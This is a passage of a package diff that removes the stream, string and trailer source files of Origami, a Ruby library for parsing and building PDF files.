FORM_IMPORT = [:Form, :Import] - FORM_EXPORT = [:Form, :Export] - FORM_SUBMITSTANDALONE = [:Form, :SubmitStandAlone] - FORM_SPAWNTEMPLATE = [:Form, :SpawnTemplate] - FORM_BARCODEPLAINTEXT = [:Form, :BarcodePlaintext] - FORM_ONLINE = [:Form, :Online] - FORM_ALL = [:Form, :FillIn, :Import, :Export, :SubmitStandAlone, :SpawnTemplate, :BarcodePlaintext, :Online] - - FORMEX_BARCODEPLAINTEXT = [:FormEx, :BarcodePlaintext] - FORMEX_ALL = FORMEX_BARCODEPLAINTEXT - - SIGNATURE_MODIFY = [:Signature, :Modify] - SIGNATURE_ALL = SIGNATURE_MODIFY - - EF_CREATE = [:EF, :Create] - EF_DELETE = [:EF, :Delete] - EF_MODIFY = [:EF, :Modify] - EF_IMPORT = [:EF, :Import] - EF_ALL = [:EF, :Create, :Delete, :Modify, :Import] - - ALL = [ DOCUMENT_ALL, ANNOTS_ALL, FORM_ALL, SIGNATURE_ALL, EF_ALL ] - - end - - class TransformParams < Dictionary - - include StandardObject - - VERSION = Name.new("2.2") - - field :Type, :Type => Name, :Default => :TransformParams - field :Document, :Type => Array - field :Msg, :Type => String - field :V, :Type => Name, :Default => VERSION - field :Annots, :Type => Array - field :Form, :Type => Array - field :FormEx, :Type => Array - field :Signature, :Type => Array - field :EF, :Type => Array, :Version => "1.6" - field :P, :Type => Boolean, :Default => false, :Version => "1.6" - - def initialize(hash = {}) - set_indirect(false) - - super(hash) - end - - end - - end - -end diff -Nru origami-1.2.7/lib/origami/stream.rb origami-1.2.7+really0.7.4/lib/origami/stream.rb --- origami-1.2.7/lib/origami/stream.rb 2013-06-11 17:10:08.000000000 +0000 +++ origami-1.2.7+really0.7.4/lib/origami/stream.rb 1970-01-01 00:00:00.000000000 +0000 @@ -1,618 +0,0 @@ -=begin - -= File - stream.rb - -= Info - This file is part of Origami, PDF manipulation framework for Ruby - Copyright (C) 2010 Guillaume Delugré - All right reserved. - - Origami is free software: you can redistribute it and/or modify - it under the terms of the GNU Lesser General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - Origami is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU Lesser General Public License for more details. - - You should have received a copy of the GNU Lesser General Public License - along with Origami. If not, see . - -=end - -require 'strscan' - -module Origami - - class InvalidStreamObjectError < InvalidObjectError #:nodoc: - end - - # - # Class representing a PDF Stream Object. - # Streams can be used to hold any kind of data, especially binary data. - # - class Stream - - include Origami::Object - include StandardObject - - TOKENS = [ "stream" + WHITECHARS_NORET + "\\r?\\n", "endstream" ] #:nodoc: - - @@regexp_open = Regexp.new(WHITESPACES + TOKENS.first) - @@regexp_close = Regexp.new(TOKENS.last) - - @@cast_fingerprints = {} - - # - # Actually only 5 first ones are implemented, other ones are mainly about image data processing (JPEG, JPEG2000 ... ) - # - @@defined_filters = - [ - :ASCIIHexDecode, - :ASCII85Decode, - :LZWDecode, - :FlateDecode, - :RunLengthDecode, - # TODO - :CCITTFaxDecode, - :JBIG2Decode, - :DCTDecode, - :JPXDecode, - # abbrev - :AHx, # ASCIIHexDecode - :A85, # ASCII85Decode - :LZW, # LZWDecode - :Fl, # FlateDecode - :RL, # RunLengthDecode - :CCF, # CCITTFaxDecode - :DCT, # DCTDecode - ] - - attr_accessor :dictionary - - field :Length, :Type => Integer, :Required => true - field :Filter, :Type => [ Name, Array ] - field :DecodeParms, :Type => [ Dictionary, Array ] - field :F, :Type => Dictionary, :Version => "1.2" - field :FFilter, :Type => [ Name, Array ], :Version => "1.2" - field :FDecodeParms, :Type => [ Dictionary, Array ], :Version => "1.2" - field :DL, :Type => Integer, :Version => "1.5" - - # - # Creates a new PDF Stream. - # _data_:: The Stream uncompressed data. - # _dictionary_:: A hash representing the Stream attributes. - # - def initialize(data = "", dictionary = {}) - super() - - set_indirect(true) - - @dictionary, @data = Dictionary.new(dictionary), data - @dictionary.parent = self - end - - def pre_build - encode! - - super - end - - def post_build - self.Length = @rawdata.length - - super - end - - def method_missing(field, *args) #:nodoc: - if field.to_s[-1,1] == '=' - self[field.to_s[0..-2].to_sym] = args.first - else - obj = self[field]; - obj.is_a?(Reference) ? obj.solve : obj - end - end - - def self.parse(stream, parser = nil) #:nodoc: - - dictionary = Dictionary.parse(stream, parser) - return dictionary if not stream.skip(@@regexp_open) - - length = dictionary[:Length] - if not length.is_a?(Integer) - rawdata = stream.scan_until(@@regexp_close) - if rawdata.nil? - raise InvalidStreamObjectError, - "Stream shall end with a 'endstream' statement" - end - else - length = length.value - rawdata = stream.peek(length) - stream.pos += length - - if not ( unmatched = stream.scan_until(@@regexp_close) ) - raise InvalidStreamObjectError, - "Stream shall end with a 'endstream' statement" - end - - rawdata << unmatched - end - - stm = - if Origami::OPTIONS[:enable_type_guessing] - self.guess_type(dictionary).new('', dictionary.to_h) - else - Stream.new('', dictionary.to_h) - end - - rawdata.chomp!(TOKENS.last) - - if rawdata[-1,1] == "\n" - if rawdata[-2,1] == "\r" - rawdata = rawdata[0, rawdata.size - 2] - else - rawdata = rawdata[0, rawdata.size - 1] - end - end - #rawdata.chomp! if length.is_a?(Integer) and length < rawdata.length - - stm.rawdata = rawdata - stm.file_offset = dictionary.file_offset - - stm - end - - def self.add_type_info(typeclass, key, value) #:nodoc: - if not @@cast_fingerprints.has_key?(typeclass) and typeclass.superclass != Stream and - @@cast_fingerprints.has_key?(typeclass.superclass) - @@cast_fingerprints[typeclass] = @@cast_fingerprints[typeclass.superclass].dup - end - - @@cast_fingerprints[typeclass] ||= {} - @@cast_fingerprints[typeclass][key.to_o] = value.to_o - end - - def self.guess_type(hash) #:nodoc: - best_type = Stream - - @@cast_fingerprints.each_pair do |typeclass, keys| - best_type = typeclass if keys.all? { |k,v| - hash.has_key?(k) and hash[k] == v - } and typeclass < best_type - end - - best_type - end - - def set_predictor(predictor, colors = 1, bitspercomponent = 8, columns = 1) - - filters = self.Filter - filters = [ filters ] unless filters.is_a?(::Array) - - if not filters.include?(:FlateDecode) and not filters.include?(:LZWDecode) - raise InvalidStreamObjectError, 'Predictor functions can only be used with Flate or LZW filters' - end - - layer = filters.index(:FlateDecode) or filters.index(:LZWDecode) - - params = Filter::LZW::DecodeParms.new - params[:Predictor] = predictor - params[:Colors] = colors if colors != 1 - params[:BitsPerComponent] = bitspercomponent if bitspercomponent != 8 - params[:Columns] = columns if columns != 1 - - set_decode_params(layer, params) - - self - end - - def cast_to(type) - super(type) - - cast = type.new("", self.dictionary.to_h) - cast.rawdata = @rawdata.dup - cast.no, cast.generation = self.no, self.generation - cast.set_indirect(true) - cast.set_pdf(self.pdf) - cast.file_offset = self.file_offset - - cast - end - - def value #:nodoc: - self - end - - # - # Returns the uncompressed stream content. - # - def data - self.decode! if @data.nil? - - @data - end - - # - # Sets the uncompressed stream content. - # _str_:: The new uncompressed data. - # - def data=(str) - @rawdata = nil - @data = str - end - - # - # Returns the raw compressed stream content. - # - def rawdata - self.encode! if @rawdata.nil? - - @rawdata - end - - # - # Sets the raw compressed stream content. - # _str_:: the new raw data. - # - def rawdata=(str) - @rawdata = str - @data = nil - end - - # - # Uncompress the stream data. - # - def decode! - self.decrypt! if self.is_a?(Encryption::EncryptedStream) - - unless is_decoded? - filters = self.Filter - - if filters.nil? - @data = @rawdata.dup - else - case filters - when Array, Name then - dparams = self.DecodeParms || [] - - dparams = [ dparams ] unless dparams.is_a?(::Array) - filters = [ filters ] unless filters.is_a?(::Array) - - @data = @rawdata.dup - @data.freeze - - filters.length.times do |layer| - params = dparams[layer].is_a?(Dictionary) ? dparams[layer] : {} - filter = filters[layer] - - begin - @data = decode_data(@data, filter, params) - rescue Filter::InvalidFilterDataError => e - @data = e.decoded_data if e.decoded_data - raise InvalidStreamObjectError, - "Error while decoding stream #{self.reference}\n\t-> [#{e.class}] #{e.message}" - end - end - else - raise InvalidStreamObjectError, "Invalid Filter type parameter" - end - end - end - - self - end - - # - # Compress the stream data. - # - def encode! - - unless is_encoded? - filters = self.Filter - - if filters.nil? - @rawdata = @data.dup - else - case filters - when Array, Name then - dparams = self.DecodeParms || [] - - dparams = [ dparams ] unless dparams.is_a?(::Array) - filters = [ filters ] unless filters.is_a?(::Array) - - @rawdata = @data.dup - (filters.length - 1).downto(0) do |layer| - params = dparams[layer].is_a?(Dictionary) ? dparams[layer] : {} - filter = filters[layer] - - @rawdata = encode_data(@rawdata, filter, params) - end - else - raise InvalidStreamObjectError, "Invalid filter type parameter" - end - end - - self.Length = @rawdata.length - end - - self - end - - def to_s(indent = 1) #:nodoc: - - content = "" - - content << @dictionary.to_s(indent) - content << "stream" + EOL - content << self.rawdata - content << EOL << TOKENS.last - - super(content) - end - - def [](key) #:nodoc: - @dictionary[key] - end - - def []=(key,val) #:nodoc: - @dictionary[key] = val - end - - def each_key(&b) #:nodoc: - @dictionary.each_key(&b) - end - - def self.native_type ; Stream end - - private - - def is_decoded? #:nodoc: - not @data.nil? - end - - def is_encoded? #:nodoc: - not @rawdata.nil? - end - - def set_decode_params(layer, params) #:nodoc: - dparms = self.DecodeParms - unless dparms.is_a? ::Array - @dictionary[:DecodeParms] = dparms = [] - end - - if layer > dparms.length - 1 - dparms.concat(::Array.new(layer - dparms.length + 1, Null.new)) - end - - dparms[layer] = params - @dictionary[:DecodeParms] = dparms.first if dparms.length == 1 - - self - end - - def decode_data(data, filter, params) #:nodoc: - unless @@defined_filters.include?(filter.value) - raise InvalidStreamObjectError, "Unknown filter : #{filter}" - end - - Origami::Filter.const_get(filter.value.to_s.sub(/Decode$/,"")).decode(data, params) - end - - def encode_data(data, filter, params) #:nodoc: - unless @@defined_filters.include?(filter.value) - raise InvalidStreamObjectError, "Unknown filter : #{filter}" - end - - encoded = Origami::Filter.const_get(filter.value.to_s.sub(/Decode$/,"")).encode(data, params) - - if filter.value == :ASCIIHexDecode or filter.value == :ASCII85Decode - encoded << Origami::Filter.const_get(filter.value.to_s.sub(/Decode$/,""))::EOD - end - - encoded - end - - end - - # - # Class representing an external Stream. - # - class ExternalStream < Stream - - def initialize(filespec, hash = {}) - - hash[:F] = filespec - super('', hash) - end - - end - - class InvalidObjectStreamObjectError < InvalidStreamObjectError #:nodoc: - end - - # - # Class representing a Stream containing other Objects. - # - class ObjectStream < Stream - - include Enumerable - - NUM = 0 #:nodoc: - OBJ = 1 #:nodoc: - - field :Type, :Type => Name, :Default => :ObjStm, :Required => true, :Version => "1.5" - field :N, :Type => Integer, :Required => true - field :First, :Type => Integer, :Required => true - field :Extends, :Type => Stream - - # - # Creates a new Object Stream. - # _dictionary_:: A hash of attributes to set to the Stream. - # _rawdata_:: The Stream data. - # - def initialize(rawdata = "", dictionary = {}) - @objects = nil - - super(rawdata, dictionary) - end - - def pre_build #:nodoc: - load! if @objects.nil? - - prolog = "" - data = "" - objoff = 0 - @objects.to_a.sort.each do |num,obj| - - obj.set_indirect(false) - obj.objstm_offset = objoff - - prolog << "#{num} #{objoff} " - objdata = "#{obj.to_s} " - - objoff += objdata.size - data << objdata - obj.set_indirect(true) - obj.no = num - end - - self.data = prolog + data - - @dictionary[:N] = @objects.size - @dictionary[:First] = prolog.size - - super - end - - # - # Adds a new Object to this Stream. - # _object_:: The Object to append. - # - def <<(object) - unless object.generation == 0 - raise InvalidObjectError, "Cannot store an object with generation > 0 in an ObjectStream" - end - - if object.is_a?(Stream) - raise InvalidObjectError, "Cannot store a Stream in an ObjectStream" - end - - load! if @objects.nil? - - object.no, object.generation = @pdf.alloc_new_object_number if object.no == 0 - - object.set_indirect(true) # object is indirect - object.parent = self # set this stream as the parent - object.set_pdf(@pdf) # indirect objects need pdf information - @objects[object.no] = object - - Reference.new(object.no, 0) - end - alias :insert :<< - - # - # Deletes Object _no_. - # - def delete(no) - load! if @objects.nil? - - @objects.delete(no) - end - - # - # Returns the index of Object _no_. - # - def index(no) - ind = 0 - @objects.to_a.sort.each { |num, obj| - return ind if num == no - - ind = ind + 1 - } - - nil - end - - # - # Returns a given decompressed object contained in the Stream. - # _no_:: The Object number. - # - def extract(no) - load! if @objects.nil? - - @objects[no] - end - - # - # Returns a given decompressed object by index. - # _index_:: The Object index in the ObjectStream. - # - def extract_by_index(index) - load! if @objects.nil? - - @objects.to_a.sort[index] - end - - # - # Returns whether a specific object is contained in this stream. - # _no_:: The Object number. - # - def include?(no) - load! if @objects.nil? - - @objects.include?(no) - end - - # - # Iterates over each object in the stream. - # - def each(&b) - load! if @objects.nil? - - @objects.values.each(&b) - end - - # - # Returns the array of inner objects. - # - def objects - load! if @objects.nil? - - @objects.values - end - - private - - def load! #:nodoc: - decode! - - data = StringScanner.new(@data) - nums = [] - offsets = [] - - @dictionary[:N].to_i.times do - nums << Integer.parse(data).to_i - offsets << Integer.parse(data) - end - - @objects = {} - nums.size.times do |i| - type = Object.typeof(data) - raise InvalidObjectStreamObjectError, - "Bad embedded object format in object stream" if type.nil? - - embeddedobj = type.parse(data) - embeddedobj.set_indirect(true) # object is indirect - embeddedobj.no = nums[i] # object number - embeddedobj.parent = self # set this stream as the parent - embeddedobj.set_pdf(@pdf) # indirect objects need pdf information - embeddedobj.objstm_offset = offsets[i] - @objects[nums[i]] = embeddedobj - end - - end - end -end diff -Nru origami-1.2.7/lib/origami/string.rb origami-1.2.7+really0.7.4/lib/origami/string.rb --- origami-1.2.7/lib/origami/string.rb 2013-05-07 15:08:46.000000000 +0000 +++ origami-1.2.7+really0.7.4/lib/origami/string.rb 1970-01-01 00:00:00.000000000 +0000 @@ -1,433 +0,0 @@ -=begin - -= File - string.rb - -= Info - This file is part of Origami, PDF manipulation framework for Ruby - Copyright (C) 2010 Guillaume Delugré - All right reserved. - - Origami is free software: you can redistribute it and/or modify - it under the terms of the GNU Lesser General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - Origami is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU Lesser General Public License for more details. - - You should have received a copy of the GNU Lesser General Public License - along with Origami. If not, see . - -=end - -module Origami - - # - # Module common to String objects. - # - module String - - module Encoding - class EncodingError < Exception #:nodoc: - end - - module PDFDocEncoding - - CHARMAP = - [ - "\x00\x00", "\xff\xfd", "\xff\xfd", "\xff\xfd", "\xff\xfd", "\xff\xfd", "\xff\xfd", "\xff\xfd", - "\xff\xfd", "\x00\x09", "\x00\x0a", "\xff\xfd", "\x00\x0c", "\x00\x0d", "\xff\xfd", "\xff\xfd", - "\xff\xfd", "\xff\xfd", "\xff\xfd", "\xff\xfd", "\xff\xfd", "\xff\xfd", "\xff\xfd", "\xff\xfd", - "\x02\xd8", "\x02\xc7", "\x02\xc6", "\x02\xd9", "\x02\xdd", "\x02\xdb", "\x02\xda", "\x02\xdc", - "\x00\x20", "\x00\x21", "\x00\x22", "\x00\x23", "\x00\x24", "\x00\x25", "\x00\x26", "\x00\x27", - "\x00\x28", "\x00\x29", "\x00\x2a", "\x00\x2b", "\x00\x2c", "\x00\x2d", "\x00\x2e", "\x00\x2f", - "\x00\x30", "\x00\x31", "\x00\x32", "\x00\x33", "\x00\x34", "\x00\x35", "\x00\x36", "\x00\x37", - "\x00\x38", "\x00\x39", "\x00\x3a", "\x00\x3b", "\x00\x3c", "\x00\x3d", "\x00\x3e", "\x00\x3f", - "\x00\x40", "\x00\x41", "\x00\x42", "\x00\x43", "\x00\x44", "\x00\x45", "\x00\x46", "\x00\x47", - "\x00\x48", "\x00\x49", "\x00\x4a", "\x00\x4b", "\x00\x4c", "\x00\x4d", "\x00\x4e", "\x00\x4f", - "\x00\x50", "\x00\x51", "\x00\x52", "\x00\x53", "\x00\x54", "\x00\x55", "\x00\x56", "\x00\x57", - "\x00\x58", "\x00\x59", "\x00\x5a", "\x00\x5b", "\x00\x5c", "\x00\x5d", "\x00\x5e", "\x00\x5f", - "\x00\x60", "\x00\x61", "\x00\x62", "\x00\x63", "\x00\x64", "\x00\x65", "\x00\x66", "\x00\x67", - "\x00\x68", "\x00\x69", "\x00\x6a", "\x00\x6b", "\x00\x6c", "\x00\x6d", "\x00\x6e", "\x00\x6f", - "\x00\x70", "\x00\x71", "\x00\x72", "\x00\x73", "\x00\x74", "\x00\x75", "\x00\x76", "\x00\x77", - "\x00\x78", "\x00\x79", "\x00\x7a", "\x00\x7b", "\x00\x7c", "\x00\x7d", "\x00\x7e", "\xff\xfd", - "\x20\x22", "\x20\x20", "\x20\x21", "\x20\x26", "\x20\x14", "\x20\x13", "\x01\x92", "\x20\x44", - "\x20\x39", "\x20\x3a", "\x22\x12", "\x20\x30", "\x20\x1e", "\x20\x1c", "\x20\x1d", "\x20\x18", - "\x20\x19", "\x20\x1a", "\x21\x22", "\xfb\x01", "\xfb\x02", "\x01\x41", "\x01\x52", "\x01\x60", - "\x01\x78", "\x01\x7d", "\x01\x31", "\x01\x42", "\x01\x53", "\x01\x61", "\x01\x7e", "\xff\xfd", - "\x20\xac", "\x00\xa1", "\x00\xa2", "\x00\xa3", "\x00\xa4", "\x00\xa5", "\x00\xa6", "\x00\xa7", - "\x00\xa8", "\x00\xa9", "\x00\xaa", "\x00\xab", "\x00\xac", "\xff\xfd", "\x00\xae", "\x00\xaf", - "\x00\xb0", "\x00\xb1", "\x00\xb2", "\x00\xb3", "\x00\xb4", "\x00\xb5", "\x00\xb6", "\x00\xb7", - "\x00\xb8", "\x00\xb9", "\x00\xba", "\x00\xbb", "\x00\xbc", "\x00\xbd", "\x00\xbe", "\x00\xbf", - "\x00\xc0", "\x00\xc1", "\x00\xc2", "\x00\xc3", "\x00\xc4", "\x00\xc5", "\x00\xc6", "\x00\xc7", - "\x00\xc8", "\x00\xc9", "\x00\xca", "\x00\xcb", "\x00\xcc", "\x00\xcd", "\x00\xce", "\x00\xcf", - "\x00\xd0", "\x00\xd1", "\x00\xd2", "\x00\xd3", "\x00\xd4", "\x00\xd5", "\x00\xd6", "\x00\xd7", - "\x00\xd8", "\x00\xd9", "\x00\xda", "\x00\xdb", "\x00\xdc", "\x00\xdd", "\x00\xde", "\x00\xdf", - "\x00\xe0", "\x00\xe1", "\x00\xe2", "\x00\xe3", "\x00\xe4", "\x00\xe5", "\x00\xe6", "\x00\xe7", - "\x00\xe8", "\x00\xe9", "\x00\xea", "\x00\xeb", "\x00\xec", "\x00\xed", "\x00\xee", "\x00\xef", - "\x00\xf0", "\x00\xf1", "\x00\xf2", "\x00\xf3", "\x00\xf4", "\x00\xf5", "\x00\xf6", "\x00\xf7", - "\x00\xf8", "\x00\xf9", "\x00\xfa", "\x00\xfb", "\x00\xfc", "\x00\xfd", "\x00\xfe", "\x00\xff" - ] - - def PDFDocEncoding.to_utf16be(pdfdocstr) - - utf16bestr = "#{UTF16BE::MAGIC}" - pdfdocstr.each_byte do |byte| - utf16bestr << CHARMAP[byte] - end - - utf16bestr - end - - def PDFDocEncoding.to_pdfdoc(str) - str - end - - end - - module UTF16BE - - MAGIC = "\xFE\xFF" - - def UTF16BE.to_utf16be(str) - str - end - - def UTF16BE.to_pdfdoc(str) - pdfdoc = [] - i = 2 - - while i < str.size - char = PDFDocEncoding::CHARMAP.index(str[i,2]) - raise EncodingError, "Can't convert UTF16-BE character to PDFDocEncoding" if char.nil? - pdfdoc << char - i = i + 2 - end - - pdfdoc.pack("C*") - end - - end - - end - - module ClassMethods #:nodoc:all - def native_type; Origami::String end - end - - def self.included(receiver) #:nodoc: - receiver.extend(ClassMethods) - end - - def self.native_type; Origami::String end #:nodoc: - - include Origami::Object - - attr_accessor :encoding - - def initialize(str) #:nodoc: - infer_encoding - super(str) - end - - # - # Convert String object to an UTF8 encoded Ruby string. - # - def to_utf8 - infer_encoding - - if RUBY_VERSION < '1.9' - require 'iconv' - i = Iconv.new("UTF-8", "UTF-16") - utf8str = i.iconv(self.encoding.to_utf16be(self.value)) - i.close - else - utf8str = self.encoding.to_utf16be(self.value).encode("utf-8", "utf-16") - end - - utf8str - end - - # - # Convert String object to an UTF16-BE encoded Ruby string. - # - def to_utf16be - infer_encoding - self.encoding.to_utf16be(self.value) - end - - # - # Convert String object to a PDFDocEncoding encoded Ruby string. - # - def to_pdfdoc - infer_encoding - self.encoding.to_pdfdoc(self.value) - end - - def infer_encoding #:nodoc: - @encoding = - if self.value[0,2] == Encoding::UTF16BE::MAGIC - Encoding::UTF16BE - else - Encoding::PDFDocEncoding - end - end - end - - class InvalidHexaStringObjectError < InvalidObjectError #:nodoc: - end - - # - # Class representing an hexadecimal-writen String Object. - # - class HexaString < ::String - include String - - TOKENS = %w{ < > } #:nodoc: - - @@regexp_open = Regexp.new(WHITESPACES + TOKENS.first) - @@regexp_close = Regexp.new(TOKENS.last) - - # - # Creates a new PDF hexadecimal String. - # _str_:: The string value. - # - def initialize(str = "") - - unless str.is_a?(::String) - raise TypeError, "Expected type String, received #{str.class}." - end - - super(str) - end - - def self.parse(stream, parser = nil) #:nodoc: - - offset = stream.pos - - if stream.skip(@@regexp_open).nil? - raise InvalidHexaStringObjectError, "Hexadecimal string shall start with a '#{TOKENS.first}' token" - end - - hexa = stream.scan_until(@@regexp_close) - if hexa.nil? - raise InvalidHexaStringObjectError, "Hexadecimal string shall end with a '#{TOKENS.last}' token" - end - - decoded = Filter::ASCIIHex.decode(hexa.chomp!(TOKENS.last)) - - hexastr = HexaString.new(decoded) - hexastr.file_offset = offset - - hexastr - end - - def to_s #:nodoc: - super(TOKENS.first + Filter::ASCIIHex.encode(to_str) + TOKENS.last) - end - - # - # Converts self to ByteString - # - def to_raw - ByteString.new(self.value) - end - - def value - self.decrypt! if self.is_a?(Encryption::EncryptedString) and not @decrypted - - to_str - end - - end - - class InvalidByteStringObjectError < InvalidObjectError #:nodoc: - end - - # - # Class representing an ASCII String Object. - # - class ByteString < ::String - - include String - - TOKENS = %w{ ( ) } #:nodoc: - - @@regexp_open = Regexp.new(WHITESPACES + Regexp.escape(TOKENS.first)) - @@regexp_close = Regexp.new(Regexp.escape(TOKENS.last)) - - # - # Creates a new PDF String. - # _str_:: The string value. - # - def initialize(str = "") - - unless str.is_a?(::String) - raise TypeError, "Expected type String, received #{str.class}." - end - - super(str) - end - - def self.parse(stream, parser = nil) #:nodoc: - - offset = stream.pos - - if not stream.skip(@@regexp_open) - raise InvalidByteStringObjectError, "No literal string start token found" - end - - result = "" - depth = 0 - while depth != 0 or stream.peek(1) != TOKENS.last do - - if stream.eos? - raise InvalidByteStringObjectError, "Non-terminated string" - end - - c = stream.get_byte - case c - when "\\" - if stream.match?(/\d{1,3}/) - oct = stream.peek(3).oct.chr - stream.pos += 3 - result << oct - elsif stream.match?(/((\r?\n)|(\r\n?))/) - - stream.skip(/((\r?\n)|(\r\n?))/) - next - - else - flag = stream.get_byte - case flag - when "n" then result << "\n" - when "r" then result << "\r" - when "t" then result << "\t" - when "b" then result << "\b" - when "f" then result << "\f" - when "(" then result << "(" - when ")" then result << ")" - when "\\" then result << "\\" - when "\r" - if str.peek(1) == "\n" then stream.pos += 1 end - when "\n" - else - result << flag - end - end - - when "(" then - depth = depth + 1 - result << c - when ")" then - depth = depth - 1 - result << c - else - result << c - end - - end - - if not stream.skip(@@regexp_close) - raise InvalidByteStringObjectError, "Byte string shall be terminated with '#{TOKENS.last}'" - end - - bytestr = ByteString.new(result) - bytestr.file_offset - - bytestr - end - - def expand #:nodoc: - - extended = self.gsub("\\", "\\\\\\\\") - extended.gsub!(/\)/, "\\)") - extended.gsub!("\n", "\\n") - extended.gsub!("\r", "\\r") - extended.gsub!(/\(/, "\\(") - - extended - end - - def to_s #:nodoc: - super(TOKENS.first + self.expand + TOKENS.last) - end - - # - # Converts self to HexaString - # - def to_hex - HexaString.new(self.value) - end - - def value - self.decrypt! if self.is_a?(Encryption::EncryptedString) and not @decrypted - - to_str - end - end - - # - # Class representing a Date string. - # _Not used_ - # _Not tested_ - # - class Date < ByteString #:nodoc: - - REGEXP_TOKEN = "(D:)?(\\d{4})(\\d{2})?(\\d{2})?(\\d{2})?(\\d{2})?(\\d{2})?(?:([\\+-Z])(?:(\\d{2})')?(?:(\\d{2})')?)?" - - def initialize(year, month = nil, day = nil, hour = nil, minute = nil, second = nil, ut_sign = nil, ut_hours = nil, ut_min = nil) - - year_str = '%04d' % year - month_str = month.nil? ? '01' : '%02d' % month - day_str = day.nil? ? '01' : '%02d' % day - hour_str = '%02d' % hour - minute_str = '%02d' % minute - second_str = '%02d' % second - - date_str = "D:#{year_str}#{month_str}#{day_str}#{hour_str}#{minute_str}#{second_str}" - date_str << "#{ut_sign}#{'%02d' % ut_hours}'#{'%02d' % ut_min}" unless ut_sign.nil? - - super(date_str) - end - - def self.parse(stream, parser = nil) #:nodoc: - - dateReg = Regexp.new(REGEXP_TOKEN) - - raise InvalidDate if stream.scan(dateReg).nil? - - year = stream[2].to_i - month = stream[3] and stream[3].to_i - day = stream[4] and stream[4].to_i - hour = stream[5] and stream[5].to_i - min = stream[6] and stream[6].to_i - sec = stream[7] and stream[7].to_i - ut_sign = stream[8] - ut_hours = stream[9] and stream[9].to_i - ut_min = stream[10] and stream[10].to_i - - Origami::Date.new(year, month, day, hour, min, sec, ut_sign, ut_hours, ut_min) - end - - # - # Returns current Date String in UTC time. - # - def self.now - now = Time.now.getutc - year = now.strftime("%Y").to_i - month = now.strftime("%m").to_i - day = now.strftime("%d").to_i - hour = now.strftime("%H").to_i - min = now.strftime("%M").to_i - sec = now.strftime("%S").to_i - - Origami::Date.new(year, month, day, hour, min, sec, 'Z', 0, 0) - end - - end - -end diff -Nru origami-1.2.7/lib/origami/trailer.rb origami-1.2.7+really0.7.4/lib/origami/trailer.rb --- origami-1.2.7/lib/origami/trailer.rb 2013-05-07 15:08:46.000000000 +0000 +++ origami-1.2.7+really0.7.4/lib/origami/trailer.rb 1970-01-01 00:00:00.000000000 +0000 @@ -1,181 +0,0 @@ -=begin - -= File - trailer.rb - -= Info - This file is part of Origami, PDF manipulation framework for Ruby - Copyright (C) 2010 Guillaume Delugré - All right reserved. - - Origami is free software: you can redistribute it and/or modify - it under the terms of the GNU Lesser General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - Origami is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU Lesser General Public License for more details. - - You should have received a copy of the GNU Lesser General Public License - along with Origami. If not, see . - -=end - -require 'digest/md5' - -module Origami - - class PDF - - private - - def has_attr?(attr) #:nodoc: - not get_doc_attr(attr).nil? - end - - def get_doc_attr(attr) #:nodoc: - - @revisions.reverse_each do |rev| - if rev.trailer.has_dictionary? and not rev.trailer.dictionary[attr].nil? - return rev.trailer.send(attr) - else - xrefstm = get_object_by_offset(rev.trailer.startxref) - if xrefstm.is_a?(XRefStream) and xrefstm.has_field?(attr) - return xrefstm.send(attr) - end - end - end - - nil - end - - def get_trailer_info #:nodoc: - - # - # First look for a standard trailer dictionary - # - if @revisions.last.trailer.has_dictionary? - @revisions.last.trailer - - # - # Otherwise look for a xref stream. - # - else - xrefstm = get_object_by_offset(@revisions.last.trailer.startxref) - xrefstm if xrefstm.is_a?(XRefStream) - end - end - - def gen_id - fileInfo = get_trailer_info - if fileInfo.nil? - raise InvalidPDFError, "Cannot access trailer information" - end - - id = Digest::MD5.hexdigest( rand.to_s ) - fileInfo.ID = [ id, id ] - end - - end - - class InvalidTrailerError < Exception #:nodoc: - end - - # Forward declarations. - class Catalog < Dictionary; end - class Metadata < Dictionary; end - - # - # Class representing a PDF file Trailer. - # - class Trailer - - include StandardObject - - TOKENS = %w{ trailer %%EOF } #:nodoc: - XREF_TOKEN = "startxref" #:nodoc: - - @@regexp_open = Regexp.new(WHITESPACES + TOKENS.first + WHITESPACES) - @@regexp_xref = Regexp.new(WHITESPACES + XREF_TOKEN + WHITESPACES + "(\\d+)") - @@regexp_close = Regexp.new(WHITESPACES + TOKENS.last + WHITESPACES) - - attr_accessor :pdf - attr_accessor :startxref - attr_reader :dictionary - - field :Size, :Type => Integer, :Required => true - field :Prev, :Type => Integer - field :Root, :Type => Catalog, :Required => true - field :Encrypt, :Type => Dictionary - field :Info, :Type => Metadata - field :ID, :Type => Array - field :XRefStm, :Type => Integer - - # - # Creates a new Trailer. - # _startxref_:: The file _offset_ to the XRef::Section. - # _dictionary_:: A hash of attributes to set in the Trailer Dictionary. - # - def initialize(startxref = 0, dictionary = {}) - - @startxref, self.dictionary = startxref, dictionary && Dictionary.new(dictionary) - end - - def self.parse(stream, parser = nil) #:nodoc: - - if stream.skip(@@regexp_open) - dictionary = Dictionary.parse(stream, parser) - else - dictionary = nil - end - - if not stream.scan(@@regexp_xref) - #raise InvalidTrailerError, "Cannot get startxref value" - end - - startxref = (stream[3] && stream[3].to_i) - - if not stream.scan(@@regexp_close) - #raise InvalidTrailerError, "No %%EOF token found" - end - - Trailer.new(startxref, dictionary && dictionary.to_h) - end - - def [](key) - @dictionary[key] if has_dictionary? - end - - def []=(key,val) - @dictionary[key] = val - end - - def dictionary=(dict) - dict.parent = self if dict - @dictionary = dict - end - - def has_dictionary? - not @dictionary.nil? - end - - # - # Outputs self into PDF code. - # - def to_s - - content = "" - if self.has_dictionary? - content << TOKENS.first << EOL << @dictionary.to_s << EOL - end - - content << XREF_TOKEN << EOL << @startxref.to_s << EOL << TOKENS.last << EOL - - content - end - - end - -end diff -Nru origami-1.2.7/lib/origami/webcapture.rb origami-1.2.7+really0.7.4/lib/origami/webcapture.rb --- origami-1.2.7/lib/origami/webcapture.rb 2013-01-28 11:59:28.000000000 +0000 +++ 